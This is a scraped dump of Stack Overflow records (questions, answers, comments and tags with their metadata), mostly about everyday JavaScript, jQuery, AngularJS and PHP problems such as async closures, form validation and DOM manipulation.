has title: How to get access token and refresh token after user login and consent in Google OAuth2?
type: Question
upvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/26261251
tagged with: javascript
favorite count: 0
tagged with: google-api-js-client
has comment: http://stackoverflow.com/comment/68833787
tagged with: google-api-python-client
score: 2
downvote count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/54834635
upvote count: 9
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25764719
score: 9
has body: I personally do not like solutions that modify the original array/object, so this is what I did: function addOrReplaceBy(arr = [], predicate, getItem) { const index = _.findIndex(arr, predicate); return index === -1 ? [...arr, getItem()] : [ ...arr.slice(0, index), getItem(arr[index]), ...arr.slice(index + 1) ]; } And you would use it like: var stuff = [ { id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }, ]; var foo = { id: 2, foo: "bar" }; stuff = addOrReplaceBy( stuff, { id: foo.id }, (elem) => ({ ...elem, ...foo }) ); What I decided to do was to make it more flexible: By using lodash -> _.findIndex(), the predicate can be multiple things By passing a callback getItem(), you can decide whether to fully replace the item or do some modifications, as I did in my example. Note: this solution contains some ES6 features such as destructuring, arrow functions, among others. There is a second approach to this. We can use JavaScript Map object which "holds key-value pairs and remembers the original insertion order of the keys" plus "any value (both objects and primitive values) may be used as either a key or a value." let myMap = new Map( ['1', { id: '1', first: true }] // key-value entry ['2', { id: '2', second: true }] ) myMap = new Map([ ...myMap, ['1', { id: '1', first: true, other: '...' }] ['3', { id: '3', third: true }] ]) myMap will have the following entries in order: ['1', { id: '1', first: true, other: '...' }] ['2', { id: '2', second: true }] ['3', { id: '3', third: true }] We can use this characteristic of Maps to add or replace other elements: function addOrReplaceBy(array, value, key = "id") { return Array.from( new Map([ ...array.map(item => [ item[key], item ]), [value[key], value] ]).values() ) }

http://stackoverflow.com/comment/40481029
type: AnswerComment
has text: How can I use this to also check for the domain name? I need to ensure that the user is registering from only one domain (e.g. peter@google.com or mary@google.com)
type: Comment
comment on: http://stackoverflow.com/a/25868971
score: 0

http://stackoverflow.com/comment/40467187
type: AnswerComment
type: Comment
has text: @jasondavis sorry mate, I just saw your comments. I did type this answer a bit too quick...hence the typo, also, I forgot to mention and reflect in the js code that the function needs to return the html generated. I'll update the answer accordingly
comment on: http://stackoverflow.com/a/25860822
score: 0

http://stackoverflow.com/q/25792561
upvote count: 0
has title: Validate all select option text in created divs dynamically
score: -2
has comment: http://stackoverflow.com/comment/40342062
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40341971
has comment: http://stackoverflow.com/comment/40341719
has comment: http://stackoverflow.com/comment/40342215
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
has answer: http://stackoverflow.com/a/25793051
downvote count: 2
has comment: http://stackoverflow.com/comment/40341286
has comment: http://stackoverflow.com/comment/40341308
has body: I need your help. I have this fiddle , as you can see, clone the original div with new name and with the text selected, and now I want to validate that created selects, if their selected option is "select" alert the user and focus in that select, I think in something like this, check the divs that name start with "newDiv" and selects inside with text equal to "Select" $('button#validate').live('click', function() { var wrong = $('div[name^="newDiv"] select option').filter(':selected').text(); if ( wrong == "Select" ) { alert("Please select an option"); $(this).focus(); $(this).css("background-color","red"); } }); I hope you understand what I mean to say, thanks.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40341836
has comment: http://stackoverflow.com/comment/40341577
type: Question
accepted answer: http://stackoverflow.com/a/25793051
has comment: http://stackoverflow.com/comment/40341291

http://stackoverflow.com/a/25813515
type: Answer
has body: Okey so my problem now is I have this script allready installed for those 2 images So my full script is this: I hope you know what my problem is... When I remove the "container" ID from the div, the script from Raj works perfekt. But not my time comparison script, you find in the 1 link.
answers question: http://stackoverflow.com/q/25811982
score: 0

http://stackoverflow.com/a/25825491
type: Answer
has comment: http://stackoverflow.com/comment/40402454
has body: Form validation can be done like this form name="myForm" action="demo_form.asp" onsubmit="return validateForm()" method="post" The validateform() function only returns false: If the input is not false the action in this case will be going to demo_form.asp, in your case will be going to the next step... For a good example goto: http://www.w3schools.com/js/js_form_validation.asp
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25825391
upvote count: 1

http://stackoverflow.com/comment/40351890
score: 0
comment on: http://stackoverflow.com/q/25798053
has text: Check out this answer: http://stackoverflow.com/a/2970987/845632 See if that helps.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25754703
accepted answer of: http://stackoverflow.com/q/25754687
type: Answer
score: 3
upvote count: 3
has body: One of two things: If you cancel the page-level submit event and handle the form via AJAX, the page won't refresh and your code will be responsible for managing the state of the DOM in response to the AJAX request. If you don't cancel the page-level submit event, the AJAX request will be sent and then the page will reload. In that case the AJAX request will be abandoned. The server may or may not process it, the browser will ignore any response. it would depend on the internet speed of the user Never, ever rely on resource timing for managing asynchronous operations. It's entirely unpredictable. Asynchronous operations are generally handled with various forms of continuations or callbacks in various language constructs which either wait on another thread for a response or get queued to interrupt the current thread for a response. Structure the logic accordingly. Relying on resource timing is like using a for loop with an operation of a known speed to measure the passage of time. It'll change in every instance.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25754687

http://stackoverflow.com/comment/40476857
comment on: http://stackoverflow.com/a/25859657
has text: Glad you were able to figure it out. Feel free to mark this as the answer to close out the question.
score: 1
type: AnswerComment
type: Comment

epub
type: Tag
tags question: http://stackoverflow.com/q/25836449
tags question: http://stackoverflow.com/q/25784779
tag name: epub

http://stackoverflow.com/q/25714223
tagged with: http://stackoverflow.com/tag/html
type: UnansweredQuestion
upvote count: 1
score: 1
tagged with: dom
has body: I am trying to implement an "drag to sort" function on this page. On the right side there are thumbnails which I want to be able to order. I thought to use jQuery's sortable in jQuery UI. But it seems to be a bit odd since my thumbnails are scaled through CSS and then it does not work correctly. Now I have made something what is basically. When I have a mouse down event on a thumbnail, I clone it hide the original and put the cloned element where my mouse is. But now when I hover (while having the cloned element under my cursor) over another thumbnail the hover event is not fired for that thumbnail. Is there another way to determine if my cursus is above a certain element in the DOM? E.g so I can detect that the cursor is above another thumbnail while dragging a thumbnail.
type: Question
downvote count: 0
answer count: 1
has title: Determine if mouse over over element while having an element "dragged"
has answer: http://stackoverflow.com/a/25714247
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: drag-and-drop

http://stackoverflow.com/a/25793100
type: Answer
accepted answer of: http://stackoverflow.com/q/25792947
answers question: http://stackoverflow.com/q/25792947
type: AcceptedAnswer
has body: You are confusing DOM objects with string values associated with those objects. You also do not clearly show how you derive the key to be used in localStorage lookup. In my example, I will assume key name is same as input field id (field_53); var MyNewLocation = document.querySelector("#field_53"); var locationKey = 'field_53'; var locationValue = window.localStorage.getItem(locationKey); if (locationValue) { MyNewLocation.value = locationValue; } else { console.log('Error retrieving key `' . locationKey . '` from localStorage'); }
score: 0

http://stackoverflow.com/comment/40372529
has text: Do you mean: accepts:[{extensions: ['png']}]? type: 'image/png'. All the same, the file is saved empty.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25809693

http://stackoverflow.com/q/25734232
has answer: http://stackoverflow.com/a/25734395
type: UnansweredQuestion
tagged with: php
tagged with: mysql
has title: Select from alternate select using jQuery, Javascript, or PHP
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
has body: I needed help regarding selection copying, as I know nothing about it. Here's my problem: I need to select a state from one select, and then have it automatically select the same state in another select. But my values are different for each select, as the info will be processed to the server (otherwise, there wouldn't be a problem, because I wouldn't need to copy from one select to the other). Here is my format: Alabama Alabama And this is my current jQuery that I've pieced together from all over the internet (that obviously doesn't work): $(function(){ $("select[name*='state']").change(function(){ $("#stateSelect2").children(':selected').hasClass( $("#stateSelect").val() ) }) }) So, what I need is to be able to do is copy the value selected by "stateSelect", and select the value of "stateSelect2" by the class that has the value of the selected option of "stateSelect". I don't know how easy or hard this is to do, but I sure would appreciate any and all help with this issue. if you use JSFiddle, bonus points to you. Thanks!
score: 0
has answer: http://stackoverflow.com/a/25734392

http://stackoverflow.com/comment/40307538
score: 0
has text: not just one page (as the example "cover" bootstrap template)... all pages should have the same size the window has. I saw a lot of responsive single-pages websites behaving like that: you never see the "breaking line" between pages
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25773801

http://stackoverflow.com/comment/40237130
comment on: http://stackoverflow.com/q/25735254
type: Comment
type: QuestionComment
has text: Thank's for the answer, but its not working it lets the animations play it just wont let it animate/move, anyone else?
score: 2

http://stackoverflow.com/q/25775548
has answer: http://stackoverflow.com/a/25775730
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25775785
has comment: http://stackoverflow.com/comment/40310970
possible better answer: http://stackoverflow.com/a/25775730
downvote count: 1
type: Question
has title: How to replace a letter with another letter in a textbox
has comment: http://stackoverflow.com/comment/40310994
has body: Say I want to target a specific letter in a textbox region and replace it with another letter using either jquery or javascript, how would I do that and still be able to target another letter afterwards, and again, and again etc.? The letter to change and what it will be changed to will be inputed from either a textbox or a dropdown (whichever is easier) P.S I tried jQuery's replace function and it didn't work (I probably didn't use it correctly though :) $( "button" ).click( function() { $( "Changed" ).replaceWith( $( "New" ) ); });
tagged with: javascript
score: -1
tagged with: replace
answer count: 2
has comment: http://stackoverflow.com/comment/40311135
upvote count: 0
has answer: http://stackoverflow.com/a/25775785
tagged with: jquery
tagged with: textbox
favorite count: 0
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25866145
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/68025927
has body: I want to experiment file streaming using webRTC. It works perfectly with the camera/micro live (getUserMedia) but when I try to give it a pre-recorderd video file, I got this answer : Uncaught TypeError: Failed to execute 'addStream' on 'RTCPeerConnection': parameter 1 is not of type 'MediaStream'. Is there a simple way to use RTCPeerConnection with selected files like with .getUserMedia() ? Edit: Here is how I get the file but when I try to add the 'localStream' with the addStream method of RTCPeerConnection, it fail... var localVideo = document.createElement("video"); var remoteVideo = document.createElement("video"); function onchange( event ){ var file = this.files[0]; var type = file.type; if( localVideo.canPlayType(type) ){ var localStream = window.URL.createObjectURL(file); localVideo.src = localStream; ... peer.addStream(localStream); // fail here }; };
upvote count: 4
answer count: 2
downvote count: 0
tagged with: webrtc
tagged with: javascript
score: 4
favorite count: 0
has title: convert local video file into media stream
has answer: http://stackoverflow.com/a/26072090
has comment: http://stackoverflow.com/comment/40480901
has answer: http://stackoverflow.com/a/58033693
linked to: http://stackoverflow.com/q/18458191
has comment: http://stackoverflow.com/comment/136324138

http://stackoverflow.com/a/25755406
upvote count: 1
has comment: http://stackoverflow.com/comment/40274321
has comment: http://stackoverflow.com/comment/40274296
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40274621
has comment: http://stackoverflow.com/comment/40274199
answers question: http://stackoverflow.com/q/25755365
type: Answer
accepted answer of: http://stackoverflow.com/q/25755365
has body: It's the same old problem with asynchronous code. When you iterate with for...in, x changes. When the callback function of $.get is called for the first time, for has completed its iterations and x now yields the last value of the iterations, which is presumably 26. You have two solutions for this: make the $.get call synchronous (bad, never do this); create a closure for the iteration. Using jQuery, for example: $.each(r.Showcase, function(x) { ... $.get(link, function(d) { GameThumbs[x] = d[0]['thumbnailUrl']; }); }); instead of for (var x in r.Showcase). This way, x is a local variable inside the callback function of $.each, and its value will be the same when returning from $.get.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40274217
has comment: http://stackoverflow.com/comment/40274277
has comment: http://stackoverflow.com/comment/40274235
has comment: http://stackoverflow.com/comment/40274357
has comment: http://stackoverflow.com/comment/40274395

http://stackoverflow.com/a/25754646
has comment: http://stackoverflow.com/comment/40304037
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40292850
score: 1
has body: Well... yes you can handle it with pure jQuery. I've made an example for you: REMEMBER to add the jQuery library to your document, just before this CSS: Because we are using a button instead of an anchor () #accept { background: url(http://goo.gl/kCsKU3) center top no-repeat; color: #FFF; display: block; width: 200px; height: 44px; border:none; outline: none; cursor: pointer; } #accept:disabled { opacity: 0.6; } #accept:active { margin-top:2px; } And finally, the HTML: Note we're using data-href attribute for the link instead of a simple hrefbecause this is a button, not an anchor anymore. I agree to the terms JsFiddle: http://jsfiddle.net/n2zej2cg/
has comment: http://stackoverflow.com/comment/40386604
downvote count: 0
answers question: http://stackoverflow.com/q/25753797

http://stackoverflow.com/a/25724752
has body: The best convention to do this is on your backend and send back an error response to the frontend, it's not possible to parse a file with angular yet.
score: 0
answers question: http://stackoverflow.com/q/25724552
has comment: http://stackoverflow.com/comment/40222757
has comment: http://stackoverflow.com/comment/40216731
type: Answer

http://stackoverflow.com/q/25868285
favorite count: 0
has body: I'm using a Grid from Kendo UI to display a bunch of data and now I want to add InCell editing. Since JavaScript isn't my strongest point, I can't see a solution to my following problem: The Grid is defined as: .Editable(e =&gt; e.Mode(GridEditMode.InCell)) .Selectable(e =&gt; e.Mode(GridSelectionMode.Single).Type(GridSelectionType.Cell)) .Events(events =&gt; events.Save("subfileSaved") With the batch mode of the datasource set to false. Now in my subfileSaved(e) function, I get the changed values in e.values. According to Firebug, the value of e.values is Object { Fields[2].Content="11CLS1511"}. Question: How can I best extract both the 2 from the Fields[2].Content as well as getting the 11CLS1511? Edit: e.values.Fields[2].Content doesn't work, see
type: Question
answer count: 1
has title: Kendo Grid InCell Editing => saveEvent(e) => e.values
has answer: http://stackoverflow.com/a/26461914
has comment: http://stackoverflow.com/comment/40480622
upvote count: 3
has comment: http://stackoverflow.com/comment/40479779
tagged with: kendo-grid
has comment: http://stackoverflow.com/comment/40480819
tagged with: asp.net-mvc
has comment: http://stackoverflow.com/comment/40481129
tagged with: javascript
type: UnansweredQuestion
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/40481618
has comment: http://stackoverflow.com/comment/73178002

http://stackoverflow.com/q/25746214
tagged with: php
has answer: http://stackoverflow.com/a/25746412
has body: I have a from submitting data to db,and after entering in to db thank you message comes,everything is in same page.the problem is wheni refresh or go back the same data or empty data is entered in to db. Please help` <?php $myServer = "localhost"; $myUser = "root"; $myPass = ""; $myDB = "sample"; $name=$_POST['fname']; $mobile=$_POST['mobile']; $email=$_POST['email']; //connection to the database $dbhandle = mysql_connect($myServer, $myUser, $myPass) or die("Couldn't connect to SQL Server on $myServer"); //select a database to work with $selected = mysql_select_db($myDB, $dbhandle) or die("Couldn't open database $myDB"); //echo "$myDB"; //Insert data into db mysql_query("INSERT INTO reg(name,mobile,email) values ('$name','$mobile','$email')"); /* echo "$name"; echo "$mobile"; echo "$email"; */ //header("location:thank.html"); ?> Basic form with validation <?php if(empty($_POST)) { ?> Form Name Mobile Email <?php } else{ ?> Thank you!! <?php } ?> `
type: Question
tagged with: javascript
score: 0
has title: html form,db submission,empty data on refresh or back
answer count: 1
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40209862
type: QuestionComment
comment on: http://stackoverflow.com/q/25720780
has text: @MelodyHajian, no, there's not such another way...you have to name things by its name and that's how you do things in the HTML/JS/CSS world, that's how you detect mouse-related events...
score: 0
type: Comment

http://stackoverflow.com/q/25754726
answer count: 0
has body: Well, it do works but now how it is suppose to. Mean it gives me result after the second time i change page length. see the code below please. Here is how i have done it, but if there is any other better way please tell. $("#data-Tables").on( 'length.dt', function () { var tableHeight = document.getElementById('tblContainer').clientHeight; // tableHeight = tableHeight/2; $('#theBody').css('height',tableHeight); }).dataTable(); what i want is when i change page length event should occur instantly after change of page length. but here in my code/scenario, when i change page length from 10 to 25, the event is not fired, but when i change again from 25 to 10 it gives me previous result of 10-25? when it responds late and give me old value of event change?
has title: datatables - Pagelength event is not working properly
type: Question
has comment: http://stackoverflow.com/comment/40273256
score: 0
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
tagged with: datatables
has comment: http://stackoverflow.com/comment/40283890

opengl-es
tags question: http://stackoverflow.com/q/25834383
type: Tag
tag name: opengl-es
tags question: http://stackoverflow.com/q/25823946
tags question: http://stackoverflow.com/q/25871225

http://stackoverflow.com/comment/65445348
has text: This is helpful to me.
type: AnswerComment
comment on: http://stackoverflow.com/a/35066142
type: Comment
score: 2

http://stackoverflow.com/a/25792514
accepted answer of: http://stackoverflow.com/q/25792455
answers question: http://stackoverflow.com/q/25792455
type: Answer
has comment: http://stackoverflow.com/comment/40341607
upvote count: 3
score: 3
has body: You need to call the unwrap() on the contents of the elements to be removed. $('.removeme').contents().unwrap() Demo: Fiddle Remove the parents of the set of matched elements from the DOM, leaving the matched elements in their place.
has comment: http://stackoverflow.com/comment/40341512
has comment: http://stackoverflow.com/comment/40341181
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25847222
answer count: 2
has title: $.post in ajaxstop function looping continously
downvote count: 0
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25847512
tagged with: jquery
has comment: http://stackoverflow.com/comment/40441418
has answer: http://stackoverflow.com/a/25847512
tagged with: ajax
has comment: http://stackoverflow.com/comment/40441448
has comment: http://stackoverflow.com/comment/40441166
has answer: http://stackoverflow.com/a/25847438
has comment: http://stackoverflow.com/comment/40441163
has comment: http://stackoverflow.com/comment/40441193
favorite count: 0
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40441478
accepted answer: http://stackoverflow.com/a/25847438
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
has body: I am trying to call a $.post function after all ajax calls are completed. The call is being triggered just that it runs on a continuous loop. var jQuery_1_11_0 = $.noConflict(true); jQuery_1_11_0(document).ready(function () { var domain = '&lt;?php echo $url; ?&gt;'; // AJAX 1 $.ajax({ type: 'POST', url: 'lib/ajax.html', data: {/* some data*/}, beforeSend: function (data) {/* some code */}, complete: function () { $.getJSON('lib/get-details.html', function(data) { // some code here } }); // AJAX 2 $.ajax({ type: 'POST', url: 'lib/ajax.html', data: {/*some code*/}, beforeSend: function (data) {/*some code*/}, complete: function () { $.getJSON('lib/get-details.html', function(data) { // some code here } }); // After those 2 calls (they are actually 6, shortened the code) // are complete I want to start this one, which starts but run continuously. $(document).ajaxStop(function() { $.post('lib/ajax.html?action=update_date',{domain: domain}); }); });
type: Question

http://stackoverflow.com/q/25780509
type: UnansweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25781542
upvote count: 1
tagged with: design-patterns
type: Question
has comment: http://stackoverflow.com/comment/40320078
tagged with: javascript
has body: Is it possoble to create a custom input pattern? For example: &lt;input type="email" placeholder="Your email" name="email" required="required" pattern="validate-unique-email" class="myclass-1"&gt; Where: -validate-unique-email - is a custom pattern. But I can't submit my form with this pattern. Thanks.
has title: javascript custom pattern validation type
tagged with: validation
has comment: http://stackoverflow.com/comment/40319581
answer count: 1
downvote count: 0
favorite count: 0
tagged with: input
tagged with: php
has comment: http://stackoverflow.com/comment/40319846
has comment: http://stackoverflow.com/comment/40320006

http://stackoverflow.com/comment/40361539
type: Comment
comment on: http://stackoverflow.com/a/25797326
has text: Not entirely sure as I can't test my code right now but I think the solution can ba achieved with $.proxy - which will set the this context for the handler will test it at home and get back to you
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40249536
type: QuestionComment
type: Comment
has text: I'm sorry, this meant to be class "CODE", i changed it in the question.
comment on: http://stackoverflow.com/q/25742173
score: 0

http://stackoverflow.com/a/25746603
has comment: http://stackoverflow.com/comment/40257469
answers question: http://stackoverflow.com/q/25746038
has body: http://jsfiddle.net/mt78j5m0/ var text = {}; text.text_1 = "One"; text.text_2 = "Two"; text.text_3 = "Three"; var divs = document.querySelectorAll("[id^='text']"); for (var div of divs) { div.innerHTML = text[div.id]; }
type: Answer
score: 0

http://stackoverflow.com/q/25834692
has answer: http://stackoverflow.com/a/25834864
has answer: http://stackoverflow.com/a/25834749
duplicate of: http://stackoverflow.com/q/8508275
has body: I want to display a div in the centre of my page without having to define a set height for the element so that the height fits the content of the page dynamically. Is this possible? I am open to using JS/jQuery solutions as long as they have graceful fallbacks but I would prefer pure CSS solution. Here is my current code, it will centre the div, but I have to include a height. HTML Lorem ipsum dolor sit amet, minim molestie argumentum est at, pri legere torquatos instructior ex. Vis id odio atomorum oportere, quem modo fabellas sit at, dicat semper est ne. Apeirian detraxit pri eu. No solum accusam has. Ius ne harum mundi clita, eu pro tation audiam. CSS .card { background-color: #1d1d1d; /* IE fallback */ background-color: rgba(29, 29, 29, 0.95); color: #fff; display: inline-block; margin: auto; position: absolute; bottom: 0; top: 0; left: 0; right: 0; padding: 30px 35px; outline: 2px solid #3B3A37; outline-offset: -9px; width: 320px; height: 350px; /*margin: 0 auto;*/ } Fiddle Link This question is different from previous topics because of the time it has been asked, the similar question that it has been compared to is dated from 2011 in which a lot has changed and new functions have been added to CSS3 that could fulfil the requirement better.
downvote count: 0
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
score: 6
has comment: http://stackoverflow.com/comment/40418287
has title: Center div vertically and horizontally without defined height
type: Question
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40418307
favorite count: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40418315
has comment: http://stackoverflow.com/comment/40418327
tagged with: css
upvote count: 6
linked to: http://stackoverflow.com/q/5703552
has comment: http://stackoverflow.com/comment/40418283
linked to: http://stackoverflow.com/q/8508275

http://stackoverflow.com/comment/40438417
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25845244
has text: i want to open a the #nav bar to show the menu... and not have it displayed automatically.

http://stackoverflow.com/comment/40375535
score: 0
type: AnswerComment
has text: `OnClientClick' only for button. calling javascript from label click i updated my answer
type: Comment
comment on: http://stackoverflow.com/a/25811035

http://stackoverflow.com/comment/40347913
comment on: http://stackoverflow.com/q/25752655
has text: Strange.. I modified the controller to load an instance of the nested form when the page loads and now the javascript works correctly but any additional nested form i add it does not work for
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40402878
has text: That'll teach you to be cocky :)
comment on: http://stackoverflow.com/a/25826149
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25857782
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25857890
score: -2
has title: Cannot run JavaScript Function twice on one page (inside a WordPress loop) / JavaScript function won't run more than once
possible better answer: http://stackoverflow.com/a/25857890
type: Question
answer count: 2
downvote count: 2
tagged with: javascript
has body: I've been searching the web for some time now to try and figure out where my javascript function will not work more than once on a page. I've looked at quite a few different posts about JavaScript functions not working more than once and the main thing I took from them was that ID's needed to be unique as you can probably tell from my code. However I still havn't managed to do get it working. Basically, I am trying to add countdown timers to posts being display on a page by using the wordpress loop. The code at the bottom is being called during the wordpress loop. $pID is the id of the post and this is working fine to create unique div IDs. The code would initially work on the second of two posts that are being displayed on the page, the first was not counting down. However, the way it is currently coded neither are working, this is because: function setCountDown_&lt;?php echo $pID; ?&gt;() When I added the ID to ^^^ and also: setCountDown_&lt;?php echo $pID; ?&gt;() I did this because I thought it wasn't working due to the function perhaps not being unique and that causing an issue somewhere, but clearly that's not the case. Outside the loop I also have this in the body tag: &lt;body onload="setCountDown();"&gt; I was wondering if anyone could help me work out what I need to do to get this code working correctly as I feel I am missing something. Currently the code just counts down from 25 minutes, that's okay for now, eventually it will be from a set date. Thanks in advance for any help and advice. &lt;div id="countdown-&lt;?php echo $pID; ?&gt;" class="featured"&gt; &lt;?php $dateFormat = "d F Y -- g:i a"; $targetDate = time() + (25*60);//Change the 25 to however many minutes you want to countdown $actualDate = time(); $secondsDiff = $targetDate - $actualDate; $remainingDay = floor($secondsDiff/60/60/24); $remainingHour = floor(($secondsDiff-($remainingDay*60*60*24))/60/60); $remainingMinutes = floor(($secondsDiff-($remainingDay*60*60*24)-($remainingHour*60*60))/6…
accepted answer: http://stackoverflow.com/a/25857870
favorite count: 0
upvote count: 0
has answer: http://stackoverflow.com/a/25857870
tagged with: wordpress
tagged with: loops
tagged with: php

http://stackoverflow.com/comment/40395731
type: QuestionComment
comment on: http://stackoverflow.com/q/25822067
has text: @jao yes ,It is showing some error "Object doesn't support this property or method" ,I am digging deeper in the issue ,thanks for pointing out.
score: 0
type: Comment

http://stackoverflow.com/q/25777392
tagged with: javascript
tagged with: jquery
favorite count: 0
has title: How do I create a div clickable, with rails in HAML
has answer: http://stackoverflow.com/a/25779987
answer count: 3
has answer: http://stackoverflow.com/a/25777844
tagged with: haml
score: 2
tagged with: onclick
upvote count: 2
type: UnansweredQuestion
tagged with: ruby-on-rails
type: Question
has body: i have problem with my rails code in HAML page. I need my div becomes clickable and take me to a link rails .header_btn #(link_to_ledger(current_ledger)) I know I should use JAVA but do not know how to do sorry for my English
has answer: http://stackoverflow.com/a/25783888
downvote count: 0

http://stackoverflow.com/q/25837714
accepted answer: http://stackoverflow.com/a/25880395
has title: use appendTo() and switch to add content from variables to a div
tagged with: dom
has body: I'm trying to create a page with a main content div, where users can select different options to add different additional content. That added content will then offer options to add yet more different stuff. The end goal is to make a short interactive story. Edited to reflect a partially new approach that I still can't get to work. My current code looks like this: You're standing in a place. There are whatever items here and one or more exits. Do you want to take action 1 or action 2? var oneResult = " You take action 1, and some stuff happens. You can then take action 3 or action 4. "; var anotherResult = " You take action 2, and other stuff happens. You can then take action 5 or action 6. "; var root; var branch; function addToStory( root,branch ) { $( "#" + root ).addClass( "disabled" ); $( branch ).appendTo( "#ongoingStory" ).hide().fadeIn(1000); } document.getElementById( "ongoingStory" ).addEventListener("click", moveAlong, false); function moveAlong(e) { if (e.target !== e.currentTarget) { switch (e.target.id) { case action1:addToStory( action1,oneResult );break; case action2:addToStory( action2,anotherResult );break; case action3:addToStory( action3,otherResult );break; case action4:addToStory( action4,yetOtherResult );break; }; }; e.stopPropagation(); } The page loads without any errors, but nothing happens when I click an action in the content that initially loads inside the ongoingStory div. The console then tells me "ReferenceError: action3 is not defined." Of course it isn't, because the content including that action/id tag isn't being added. What I don't understand is why it's not appending the content in the first place. I've thought that maybe I'm not referencing the spans' ID's correctly, but in that case, I'd expect the switch to get stuck at action1.
score: 0
has comment: http://stackoverflow.com/comment/40424557
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40512668
tagged with: css
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25880395

titanium
type: Tag
tag name: titanium
tags question: http://stackoverflow.com/q/25838202
tags question: http://stackoverflow.com/q/25765347
tags question: http://stackoverflow.com/q/25738408

http://stackoverflow.com/comment/40329275
score: 0
type: Comment
type: QuestionComment
has text: Show u HTML code. -> http://jsfiddle.net/ plz
comment on: http://stackoverflow.com/q/25785848

http://stackoverflow.com/a/25800023
has body: Your expression is not working because the {1-61} applies to the previous group, which itself consists of 1 or more characters. Here is the answer using a positive lookahead as commented by @Casimir: ^(?=.{1,61}$)((xn-|[a-zA-Z0-9]+)((-[a-zA-Z0-9]+)+)?)(\.[a-zA-Z]{2,})?$ Note that if you are trying to match domain names, you really should be matching a max of 63 characters in the name, not including the dot-tld. The expression above will match max 61 of the entire name, including the dot-tld, so it will disallow valid names. Perhaps this is closer to what you want: ^(?=[^\.]{1,63}\.)(xn-|[a-zA-Z0-9]+)((-[a-zA-Z0-9]+)+)?(\.[a-zA-Z]{2,})?$
score: 2
upvote count: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25776882
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25776882
type: Answer

http://stackoverflow.com/comment/40475745
score: 0
type: Comment
has text: Once it reaches last article it should stop its function.
comment on: http://stackoverflow.com/a/25866224
type: AnswerComment

http://stackoverflow.com/a/25780767
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25780703
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/25780703
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/40320075
has body: fields.every(function(name, i) { return record[name] !== null; }) will return true if every field from fields in record is not null, and false otherwise.

http://stackoverflow.com/q/25742582
has answer: http://stackoverflow.com/a/25742642
has comment: http://stackoverflow.com/comment/40250111
type: Question
answer count: 2
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25742638
has comment: http://stackoverflow.com/comment/40250021
has answer: http://stackoverflow.com/a/25742638
score: 0
accepted answer: http://stackoverflow.com/a/25742642
has body: Following is my angular controller code - $scope.visibility = true; $http.get("/api/getempl").then(function(response){ if (response.status == 200) { $scope.empData = response.data.data; (function(){ setTimeout(function(){ $scope.visibility = false; }, 4000); })(); } }); What I am trying is to show Loading Image till data not fetched and flagging $scope.visibility on response basis - .col-md-12(ng-show="visibility") h1 LOADING .col-md-12(ng-show="!visibility") // DATA IN TABLE Now LOADING text is always visible as I am expecting once data fetched, after a delay show table data but its not working, let me know what I am doing wrong here.
tagged with: asynchronous
tagged with: angularjs
has title: setTimeout not working in async code
type: AnsweredQuestion
tagged with: settimeout

http://stackoverflow.com/comment/40316252
has text: INVALID HTML!!! Use multiple tbody elements.
comment on: http://stackoverflow.com/q/25778453
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40398468
type: QuestionComment
has text: `link` is similar in other browsers as well, nothing seems to be working here :(
comment on: http://stackoverflow.com/q/25820436
score: 0
type: Comment

http://stackoverflow.com/comment/40262491
has text: Fair enough, I've put together an answer with an updated fiddle for demonstration.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25748912

http://stackoverflow.com/q/25731187
tagged with: javascript
type: UnansweredQuestion
favorite count: 0
tagged with: scope
tagged with: angularjs
type: Question
has body: I need to make angularjs and jquery mobile coexist within a mobile application and to leave routing logic to jquery mobile (i.e. not using ngRoute module but jquerymobile's ajax dom injection instead). If I use jquery mobile's single page template there are no problem with the scope, but if I open external html pages via ajax it seems that angular looses its scope. Here is the snippet: http://embed.plnkr.co/4Ct8I9YnGq0CpRmnsVgO/preview
upvote count: 2
tagged with: url-routing
